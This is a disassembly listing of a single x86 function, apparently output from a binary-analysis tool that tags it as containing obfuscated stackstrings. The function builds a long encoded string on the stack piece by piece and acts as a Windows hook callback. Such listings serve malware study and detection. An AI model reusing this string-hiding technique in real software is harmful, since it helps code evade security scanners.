Function at 0x1081d339
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xdc4
mov eax, 0x1084c4e2
call fcn.1081e955
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0xc7c]
push 0xc2a
xor ebx, ebx
push ebx
push eax
call fcn.10821200
add esp, 0xc
mov dword [ebp - 0xc80], ebx
call fcn.10812f1b
push eax
lea ecx, [ebp - 0xc80]
call fcn.1080fd5c
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1081d842
cmp dword [edi + 8], 0x4a
jne 0x1081d842
mov esi, dword [edi]
test esi, esi
je 0x1081d842
mov eax, dword [esi]
cmp eax, 0x4cc7c
jne 0x1081d834
mov esi, dword [esi + 8]
lea edi, [ebp - 0xc7c]
mov ecx, 0x30a
mov dword [ebp - 0xdbc], 0x6741794b
rep movsd dword es:[edi], dword [esi]
push 0x64
pop eax
mov dword [ebp - 0xdb8], 0x71455742
movsw word es:[edi], word [esi]
mov dword [ebp - 0xdb4], 0x77413342
mov dword [ebp - 0xdb0], 0x686f6d43
mov dword [ebp - 0xdac], 0x46734349
mov dword [ebp - 0xda8], 0x7534544b
mov dword [ebp - 0xda4], 0x446f3349
mov dword [ebp - 0xda0], 0x3577414b
mov dword [ebp - 0xd9c], 0x2b68674a
mov dword [ebp - 0xd98], 0x654d4744
mov dword [ebp - 0xd94], 0x67455442
mov dword [ebp - 0xd90], 0x4a637846
mov dword [ebp - 0xd8c], 0x5338694f
mov dword [ebp - 0xd88], 0x41677845
mov dword [ebp - 0xd84], 0x2b78424c
mov dword [ebp - 0xd80], 0x70674348
mov dword [ebp - 0xd7c], 0x7a6f414d
mov dword [ebp - 0xd78], 0x436f674b
mov dword [ebp - 0xd74], 0x656f4447
mov dword [ebp - 0xd70], 0x4e773350
mov dword [ebp - 0xd6c], 0x6756794c
mov dword [ebp - 0xd68], 0x744e6e4d
mov dword [ebp - 0xd64], 0x7a676e62
mov dword [ebp - 0xd60], 0x6a68434e
mov dword [ebp - 0xd5c], 0x2f6b7a50
mov dword [ebp - 0xd58], 0x3041524c
mov dword [ebp - 0xd54], 0x35633365
mov byte [ebp - 0xd50], al
mov dword [ebp - 0xd4f], 0x61416b33
mov dword [ebp - 0xd4b], 0x45575952
mov dword [ebp - 0xd47], 0x65583058
mov word [ebp - 0xd43], 0x4a42
mov byte [ebp - 0xd41], 0x67
mov byte [ebp - 0xd40], al
mov dword [ebp - 0xd3f], 0x4561307a
mov dword [ebp - 0xd3b], 0x424d3842
mov word [ebp - 0xd37], 0x7043
mov byte [ebp - 0xd35], 0x68
mov byte [ebp - 0xd34], al
mov dword [ebp - 0xd33], 0x492b7768
mov dword [ebp - 0xd2f], 0x42327077
mov dword [ebp - 0xd2b], 0x65413853
mov dword [ebp - 0xd27], 0x452f4143
mov dword [ebp - 0xd23], 0x48694532
mov dword [ebp - 0xd1f], 0x662b346a
mov word [ebp - 0xd1b], 0x457a
mov byte [ebp - 0xd19], 0x4a
mov byte [ebp - 0xd18], al
mov dword [ebp - 0xd17], 0x4374527a
mov dword [ebp - 0xd13], 0x4431427a
mov dword [ebp - 0xd0f], 0x4b496f51
mov word [ebp - 0xd0b], 0x4969
mov byte [ebp - 0xd09], 0x72
mov byte [ebp - 0xd08], al
mov dword [ebp - 0xd07], 0x424c3467
mov dword [ebp - 0xd03], 0x4b4e6348
mov dword [ebp - 0xcff], 0x41733053
mov dword [ebp - 0xcfb], 0x4b4f4147
mov dword [ebp - 0xcf7], 0x4a446767
mov dword [ebp - 0xcf3], 0x4b637779
mov dword [ebp - 0xcef], 0x44493067
mov dword [ebp - 0xceb], 0x59625951
mov dword [ebp - 0xce7], 0x416f3079
mov dword [ebp - 0xce3], 0x66674167
mov dword [ebp - 0xcdf], 0x66774e67
mov dword [ebp - 0xcdb], 0x42667779
mov dword [ebp - 0xcd7], 0x5a313554
mov dword [ebp - 0xcd3], 0x45764979
mov dword [ebp - 0xccf], 0x44587333
mov dword [ebp - 0xccb], 0x446d3554
mov dword [ebp - 0xcc7], 0x47766c6d
mov dword [ebp - 0xcc3], 0x4256387a
mov dword [ebp - 0xcbf], 0x4b6a4d69
mov dword [ebp - 0xcbb], 0x50344541
mov byte [ebp - 0xc81], al
lea eax, [ebp - 0xb53]
push eax
lea eax, [ebp - 0xc7c]
mov dword [ebp - 0xcb7], 0x48525158
push eax
lea eax, [ebp - 0xc57]
mov dword [ebp - 0xcb3], 0x436e6754
push eax
push ebx
sub esp, 0xc
mov dword [ebp - 0xcaf], 0x45397478
mov ecx, esp
mov dword [ebp - 0xcab], 0x62543479
lea eax, [ebp - 0xc80]
mov dword [ebp - 0xca7], 0x4b526f58
mov dword [ebp - 0xca3], 0x61314548
push dword [ebp - 0xdc0]
mov dword [ebp - 0xc9f], 0x4e324133
push eax
mov dword [ebp - 0xc9b], 0x4c773057
lea eax, [ebp - 0xdbc]
mov dword [ebp - 0xc97], 0x4b7a3058
mov dword [ebp - 0xc93], 0x4c385178
mov dword [ebp - 0xc8f], 0x4c67347a
mov dword [ebp - 0xc8b], 0x65426f7a
mov dword [ebp - 0xc87], 0x41414144
mov word [ebp - 0xc83], 0x4441
push eax
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
mov dword [ecx + 8], ebx
call fcn.1080f5af
lea eax, [ebp - 0xdd0]
push eax
call fcn.10812565
add esp, 0x10
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.1081bf76
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.10812a0a
add esp, 0x14
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xdd0]
call fcn.1081bdbe
push 0x3c
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.10821200
pop ecx
pop ecx
lea eax, [ebp - 0xc7c]
mov ecx, esp
push eax
call fcn.1080fed5
lea ecx, [ebp - 0x50]
call fcn.1080ffab
lea eax, [ebp - 0xb53]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x20]
call fcn.10810e6b
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10810e6b
lea eax, [ebp - 0x77]
push eax
lea ecx, [ebp - 0x18]
call fcn.10810e6b
lea eax, [ebp - 0x50]
push eax
push ecx
mov ecx, esp
mov dword [ebp - 0xdc0], esp
mov esi, dword [ebp - 0xc80]
push esi
call fcn.1080fed5
push ecx
lea eax, [ebp - 0x94b]
mov byte [ebp - 4], 4
mov ecx, esp
push eax
call fcn.1080fe47
mov byte [ebp - 4], 3
call fcn.108180db
add esp, 0xc
call fcn.10828f49
push 0x64
pop ecx
cdq
idiv ecx
cmp edx, ecx
jg 0x1081d827
lea eax, [ebp - 0x50]
push eax
call fcn.10816bc2
pop ecx
lea ecx, [ebp - 0x50]
call fcn.10810af4
lea ecx, [esi - 0x10]
jmp 0x1081d859
cmp eax, 0x4d835
jne 0x1081d842
push ebx
call fcn.1081a618
pop ecx
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc80]
lea ecx, [ecx - 0x10]
call fcn.1081689e
call fcn.1081e8a2
ret 0xc